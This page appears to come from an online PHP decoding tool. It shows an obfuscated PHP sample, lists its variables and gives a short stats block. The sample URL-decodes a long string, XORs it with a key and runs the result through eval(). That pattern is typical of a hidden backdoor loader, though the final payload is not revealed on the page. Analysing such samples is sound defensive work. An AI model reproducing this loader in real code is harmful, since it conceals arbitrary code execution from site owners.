Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function vQrQEwwOH($dqEqVdBOMs, $IDjIbhThWJzW) { $afs= 'urldecode'; $ahgrs= ..

Decoded Output download

<?php 
 
function vQrQEwwOH($dqEqVdBOMs, $IDjIbhThWJzW) 
{ 
	$afs= 'urldecode'; 
	$ahgrs= 'str_split'; 
    $dqEqVdBOMs = $afs($dqEqVdBOMs); 
    $BgTesHl = $ahgrs($dqEqVdBOMs); 
    $action = ""; 
    $afs= 'strlen'; 
    for ($i = 0; $i < $afs($dqEqVdBOMs);$i++) { 
        $action .= $BgTesHl[$i] ^ $IDjIbhThWJzW[$i%10]; 
    } 
    return $action; 
} 
 
$i="VG%24%129Km%24%2A%0D%03%27%27%1F%3Dn%40%011%11%05%0A%0B%16%26%21%40Hc-%3F4%18SrKm%24%2A%0D%03%27%27%1F%3Dn%40%08%2C%045%1D%26%08%264%14CoCZQowC%06%0E%0A%2A%3C%19%1D+Rn%2B%06%1C%1C%06%12%1D7%0F%3D%2F%08%0A%1C%17%03%151%5DefWMxn%608%27%1F%3D%19%13%0D.%065%14%3D%17+2OTjXgrYpDL%01%11-%00%1E%11%3B%14i5%0F%003KN%1C5%0E%28jG%40%28%06%13QYp2KmDcCJ%5C%3B%0F%3D%19%03%057%02JEtXk%7DjncCJX2%15%3BfO%40%2ACWXdAib%0ED%7FC%19%0C%26%16%2C%28O%40%27%02%1E%19%7DA%60f%1CiICJXtZifG%02%2C%11JPp%10i%7BGTxCN%12tFi5%13%16%2F%06%04Pp%11%2C%3FNDeEJ%5C%3DZuf%14%101%0F%0F%16%7C%5E-%27%13%05jXJ%5C%3EQbjG%40%2AHAQt%01DLGDcCJXtZifGDg%0C%1F%0C%0B%1E%282%06Dm%5EJ%1B%3C%08a%29%15%00kG%0E%19+%1B%12b%0E9jC4X%3B%08-nC%0F%26%1A1%5C%3E%27%60o%5CiICJXtZifG%19NiJXtZ4KmDcCJ%0A1%0E%3C4%09Dg%0C%1F%0C%0B%1E%282%06_Ni%17u%5E%13%2FfO%0D0%10%0F%0C%7C%5E%16%01%220%18U%5DK%60I%7C%1BNMNi%11u%5EZifG%00%2A%06B%150OarPSrQCQowC%3Bjng%17%0F%15%24G%284%15%05%3A%3C%07%1D%26%1D%2CnC%3B%00%2C%253%1D%3FefC%3B%13%2C9%2C%7DADL%01%0B1%06%0B%1B%3CZab%13%01.%13J%19%27Zm%22%06%10%22%3C%01%1D-ZtxG%40%27%02%1E%19%7DZ2KmDcCJ%5C0%1B%3D%27GYc%23%1F%16%27%1F%3B%2F%06%08%2A%19%0FP%27%12-6O%17%2B%07%1AP6%1B%3A%23QP%1C%07%0F%1B%3B%1E%2CnC%00%22%17%0BQxZnr%02%02uP%0B%1A1Wx%27%05%00nW_%19bWpwT%00nU%0C%1AmC%7FsP%01qW%08_%7DVib%03%057%025%131%03%60o%5CiICJXt%13%2FfO%0D0%10%0F%0C%7C%5E-%27%13%05%18D%0B%13s%27%60oG%1FNiJXtZifGD%2A%05JPp%1E%282%06%3Fd%02M%25tGtf%40%0DdJJ%03YpifGDcCJXtZifC%0Dc%5EJ%19%26%08%28%3FOiICJXtZifGDcCJXtZia%17%12dCWFt%3A9.%17%12%26%11%19%11%3B%14aoKiICJXtZifGDcCJXtZia%14%12dCWFt%5DxhWIrDFu%5EZifGDcCJXtZio%5CiICJXtZifGDcCJ%1D7%12%26f%27%17%26%11%03%198%133%23O%40%2AJQu%5EZifGDcCJ%05t%1F%255%02%0D%25CB%5C0%1B%3D%27%3CC%22D7XiGia%02CjC%11u%5EZifGDcCJXtZi%23%11%05%2FKN%1C5%0E%28%1D%40%00d%3ECCYpifGDcCJX%29wCfGDcCJXt%1F1%2F%13LjXgrtZif%1AiI%1E"; 
$j="%0C%118%1F%166%12%10%1C%00%05%16+%1F%272%14"; 
 
$lzmaqheDV="jxTzIFgdCcdb"; 
 
$k = vQrQEwwOH($i, $lzmaqheDV); 
$k = str_replace("<?php", "", $k); 
// var_dump($k); 
eval($k); 
 
 ?>

Did this file decode correctly?

Original Code

<?php

function vQrQEwwOH($dqEqVdBOMs, $IDjIbhThWJzW)
{
	$afs= 'urldecode';
	$ahgrs= 'str_split';
    $dqEqVdBOMs = $afs($dqEqVdBOMs);
    $BgTesHl = $ahgrs($dqEqVdBOMs);
    $action = "";
    $afs= 'strlen';
    for ($i = 0; $i < $afs($dqEqVdBOMs);$i++) {
        $action .= $BgTesHl[$i] ^ $IDjIbhThWJzW[$i%10];
    }
    return $action;
}

$i="VG%24%129Km%24%2A%0D%03%27%27%1F%3Dn%40%011%11%05%0A%0B%16%26%21%40Hc-%3F4%18SrKm%24%2A%0D%03%27%27%1F%3Dn%40%08%2C%045%1D%26%08%264%14CoCZQowC%06%0E%0A%2A%3C%19%1D+Rn%2B%06%1C%1C%06%12%1D7%0F%3D%2F%08%0A%1C%17%03%151%5DefWMxn%608%27%1F%3D%19%13%0D.%065%14%3D%17+2OTjXgrYpDL%01%11-%00%1E%11%3B%14i5%0F%003KN%1C5%0E%28jG%40%28%06%13QYp2KmDcCJ%5C%3B%0F%3D%19%03%057%02JEtXk%7DjncCJX2%15%3BfO%40%2ACWXdAib%0ED%7FC%19%0C%26%16%2C%28O%40%27%02%1E%19%7DA%60f%1CiICJXtZifG%02%2C%11JPp%10i%7BGTxCN%12tFi5%13%16%2F%06%04Pp%11%2C%3FNDeEJ%5C%3DZuf%14%101%0F%0F%16%7C%5E-%27%13%05jXJ%5C%3EQbjG%40%2AHAQt%01DLGDcCJXtZifGDg%0C%1F%0C%0B%1E%282%06Dm%5EJ%1B%3C%08a%29%15%00kG%0E%19+%1B%12b%0E9jC4X%3B%08-nC%0F%26%1A1%5C%3E%27%60o%5CiICJXtZifG%19NiJXtZ4KmDcCJ%0A1%0E%3C4%09Dg%0C%1F%0C%0B%1E%282%06_Ni%17u%5E%13%2FfO%0D0%10%0F%0C%7C%5E%16%01%220%18U%5DK%60I%7C%1BNMNi%11u%5EZifG%00%2A%06B%150OarPSrQCQowC%3Bjng%17%0F%15%24G%284%15%05%3A%3C%07%1D%26%1D%2CnC%3B%00%2C%253%1D%3FefC%3B%13%2C9%2C%7DADL%01%0B1%06%0B%1B%3CZab%13%01.%13J%19%27Zm%22%06%10%22%3C%01%1D-ZtxG%40%27%02%1E%19%7DZ2KmDcCJ%5C0%1B%3D%27GYc%23%1F%16%27%1F%3B%2F%06%08%2A%19%0FP%27%12-6O%17%2B%07%1AP6%1B%3A%23QP%1C%07%0F%1B%3B%1E%2CnC%00%22%17%0BQxZnr%02%02uP%0B%1A1Wx%27%05%00nW_%19bWpwT%00nU%0C%1AmC%7FsP%01qW%08_%7DVib%03%057%025%131%03%60o%5CiICJXt%13%2FfO%0D0%10%0F%0C%7C%5E-%27%13%05%18D%0B%13s%27%60oG%1FNiJXtZifGD%2A%05JPp%1E%282%06%3Fd%02M%25tGtf%40%0DdJJ%03YpifGDcCJXtZifC%0Dc%5EJ%19%26%08%28%3FOiICJXtZifGDcCJXtZia%17%12dCWFt%3A9.%17%12%26%11%19%11%3B%14aoKiICJXtZifGDcCJXtZia%14%12dCWFt%5DxhWIrDFu%5EZifGDcCJXtZio%5CiICJXtZifGDcCJ%1D7%12%26f%27%17%26%11%03%198%133%23O%40%2AJQu%5EZifGDcCJ%05t%1F%255%02%0D%25CB%5C0%1B%3D%27%3CC%22D7XiGia%02CjC%11u%5EZifGDcCJXtZi%23%11%05%2FKN%1C5%0E%28%1D%40%00d%3ECCYpifGDcCJX%29wCfGDcCJXt%1F1%2F%13LjXgrtZif%1AiI%1E";
$j="%0C%118%1F%166%12%10%1C%00%05%16+%1F%272%14";

$lzmaqheDV="jxTzIFgdCcdb";

$k = vQrQEwwOH($i, $lzmaqheDV);
$k = str_replace("<?php", "", $k);
// var_dump($k);
eval($k);

Function Calls

str_split 1
urldecode 1
vQrQEwwOH 1

Variables

$i VG%24%129Km%24%2A%0D%03%27%27%1F%3Dn%40%011%11%05%0A%0B%16%2..
$j %0C%118%1F%166%12%10%1C%00%05%16+%1F%272%14
$afs urldecode
$ahgrs str_split
$lzmaqheDV jxTzIFgdCcdb
$dqEqVdBOMs VG$9Km$* ''=n@1 &!@Hc-?4SrKm$* ''=n@,5&&4CoCZQowC *< Rn+7=/..
$IDjIbhThWJzW jxTzIFgdCcdb

Stats

MD5 425386fc5ae455b66719f85465ceb527
Eval Count 0
Decode Time 40 ms